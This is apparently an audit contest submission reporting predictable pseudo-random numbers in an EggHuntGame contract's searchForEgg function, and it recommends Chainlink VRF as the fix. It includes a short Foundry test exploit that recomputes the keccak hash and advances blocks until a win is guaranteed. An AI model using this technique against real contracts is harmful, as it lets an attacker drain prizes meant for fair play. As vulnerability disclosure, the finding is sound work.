Submission Details
Severity:
Bad randomness of `random` number in `EggHuntGame::searchForEgg` makes possible to call the function at the exact time the random number is less than the threshold
### [H-1] Bad randomness of `random` number in `EggHuntGame::searchForEgg` makes possible to call the function at the exact time the random number is less than the threshold
**Description:** The pseudo-random number `EggHuntGame::random` in `EggHuntGame::searchForEgg` is deterministic which makes possible to make a transaction at the exact time it is below the threshold which guarantees winning the eggNFT.
**Impact:** Any player who can build a contract that enters the exact time the `EggHuntGame::random` number is less than the threshold can aquire the prize.
**Proof of Concept:**
1. Player knows the method of encryption of the `EggHuntGame::random` number, `EggHuntGame::eggCounter` and `EggHuntGame::eggFindThreshold`
2. Player calls `EggHuntGame::searchForEgg` at the moment his calculated random number is less than the threshold
```javascript
function testRandomness() public {
address player = address(0x123);
uint256 duration = 1000;
vm.prank(owner);
game.startGame(duration);
vm.startPrank(player);
uint256 payload = uint256 (keccak256(abi.encodePacked(block.timestamp, block.prevrandao, player, game.eggCounter())))%100;
while (payload > game.eggFindThreshold()){
payload = uint256 (keccak256(abi.encodePacked(block.timestamp, block.prevrandao, player, game.eggCounter())))%100;
if (payload < game.eggFindThreshold()){
game.searchForEgg();
break;
}
vm.warp(block.timestamp + 1);
vm.roll(block.number + 1);
}
assertEq(nft.balanceOf(player),1);
}
```
**Recommended Mitigation:** Use another method of generating a random number like generating the number offchain through Chainlink VRF
Updates
Lead Judging Commences
m3dython 4 months ago
Submission Judgement Published Assigned finding tags:
Insecure Randomness
Insecure methods to generate pseudo-random numbers
Rewards breakdown
nSLOC
129This contest has a flat reward structure with the following payouts:
100 EXP
20 EXP
2 EXP
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.